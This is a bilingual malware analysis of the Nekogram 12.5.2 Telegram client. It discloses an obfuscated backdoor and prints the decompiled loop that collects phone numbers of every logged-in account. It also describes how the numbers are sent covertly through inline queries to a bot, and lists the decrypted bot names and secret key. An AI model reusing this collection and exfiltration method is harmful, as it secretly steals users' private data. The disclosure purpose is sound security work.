Анализ декомпилированных исходников Nekogram 12.5.2 - обнаружен бэкдор для сбора номеров телефонов

A phone number stealing backdoor has been identified within the Nekogram Android client. The investigation reveals that the application contains obfuscated logic designed to silently collect and upload the phone numbers of all accounts logged into the app. This malicious behavior is present in distributed versions, including the version available on the Google Play.
Extra.javaThe malicious code is concealed within Extra.java. While the public GitHub repository displays a “clean” example version of this file, the compiled binaries used by the public contain the exfiltration logic.
The core logic (found in function uo5.g(), restored as logNumberPhones) iterates through every Telegram account active in the app (up to 8 accounts).
for (int i2 = 0; i2 < 8; i2++) {
UserConfig userConfig = UserConfig.getInstance(i2);
if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.f) != null) {
mapWithAccounts.put(String.valueOf(currentUser.a), phoneNumber);
}
}
Impact: This allows the developer to link multiple accounts to a single physical user/device.
The data is exfiltrated using Inline Queries. This is a highly stealthy method because it does not leave a trace in the user’s chat history.
@nekonotificationbot (ID 1190800416)InlineBotHelper.Query(...)UserID -> Phone Number prefixed with a secret key.741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1The final exfiltrated string looks like:
741ad2...ae1b1{"123456789": "+79001234567", ...}
Using a custom decryption tool, we recovered hidden strings used by the backdoor:
| ID | Decrypted Value | Context |
|---|---|---|
| -7227028090432512756 | 873ffaceba76e791ff2491224a3cdb49 |
APP_HASH |
| -7227026067502916340 | nekonotificationbot |
Primary Exfiltration Target |
| -7227026153402262260 | tgdb_search_bot |
OSINT Bot Reference |
| -7227025642301154036 | usinfobot |
OSINT Bot Reference |
| -7227027729655259892 | 741ad2...ae1b1 |
Shared Secret / Hash |
442495Nekogram is harvesting private user data. By sending phone numbers and User IDs to a centralized bot, the developers can build a database and later sell it to creators of well-known OSINT bots, this is destroying Telegram’s anonymity concept. The use of obfuscation and inline queries demonstrates a clear intent to hide this behavior from both users and security researchers. Always use only the official Telegram client if you don’t want your private data to be leaked!
В Android-клиенте Nekogram обнаружен бэкдор, ворующий номера телефонов. Расследование показало, что приложение содержит обфусцированный код, предназначенный для скрытого сбора и выгрузки номеров телефонов всех аккаунтов, вошедших в приложение. Это вредоносное поведение присутствует в публичных сборках, включая версию из Google Play.
Extra.javaВредоносный код спрятан в файле Extra.java. Примечательно, что в публичном репозитории GitHub этот файл представлен в виде «чистого» примера, однако скомпилированные бинарные файлы, распространяемые среди пользователей, содержат логику кражи данных.
Основная логика (функция uo5.g(), восстановленное название: logNumberPhones) перебирает все учетные записи Telegram, активные в приложении (до 8 штук).
for (int i2 = 0; i2 < 8; i2++) {
UserConfig userConfig = UserConfig.getInstance(i2);
if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.f) != null) {
mapWithAccounts.put(String.valueOf(currentUser.a), phoneNumber);
}
}
Последствия: Это позволяет разработчику связать несколько аккаунтов с одним физическим пользователем/устройством.
Данные передаются с помощью Inline-запросов (инлайн-запросов). Это крайне скрытный метод, так как он не оставляет следов в истории чатов.
@nekonotificationbot (ID 1190800416)InlineBotHelper.Query(...)UserID -> Номер телефона, дополненная секретным ключом.741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1Итоговая строка с похищенными данными выглядит так:
741ad2...ae1b1{"123456789": "+79001234567", ...}
С помощью кастомного инструмента дешифровки были восстановлены скрытые строки, используемые бэкдором:
| ID | Расшифрованное значение | Контекст |
|---|---|---|
| -7227028090432512756 | 873ffaceba76e791ff2491224a3cdb49 |
APP_HASH |
| -7227026067502916340 | nekonotificationbot |
Основной бот для слива |
| -7227026153402262260 | tgdb_search_bot |
Упоминание OSINT-бота |
| -7227025642301154036 | usinfobot |
Упоминание OSINT-бота |
| -7227027729655259892 | 741ad2...ae1b1 |
Общий секрет / Хеш |
442495Nekogram занимается сбором личных данных пользователей. Отправляя номера телефонов и User ID централизованному боту, разработчики могут создать базу данных, чтобы в дальнейшем продать её создателям известных OSINT-ботов. Это полностью разрушает концепцию анонимности в Telegram. Использование обфускации и инлайн-запросов (inline queries) явно свидетельствует о намерении скрыть подобную активность как от рядовых пользователей, так и от специалистов по кибербезопасности. Всегда используйте только официальный клиент Telegram, если не хотите, чтобы ваши личные данные попали в открытый доступ!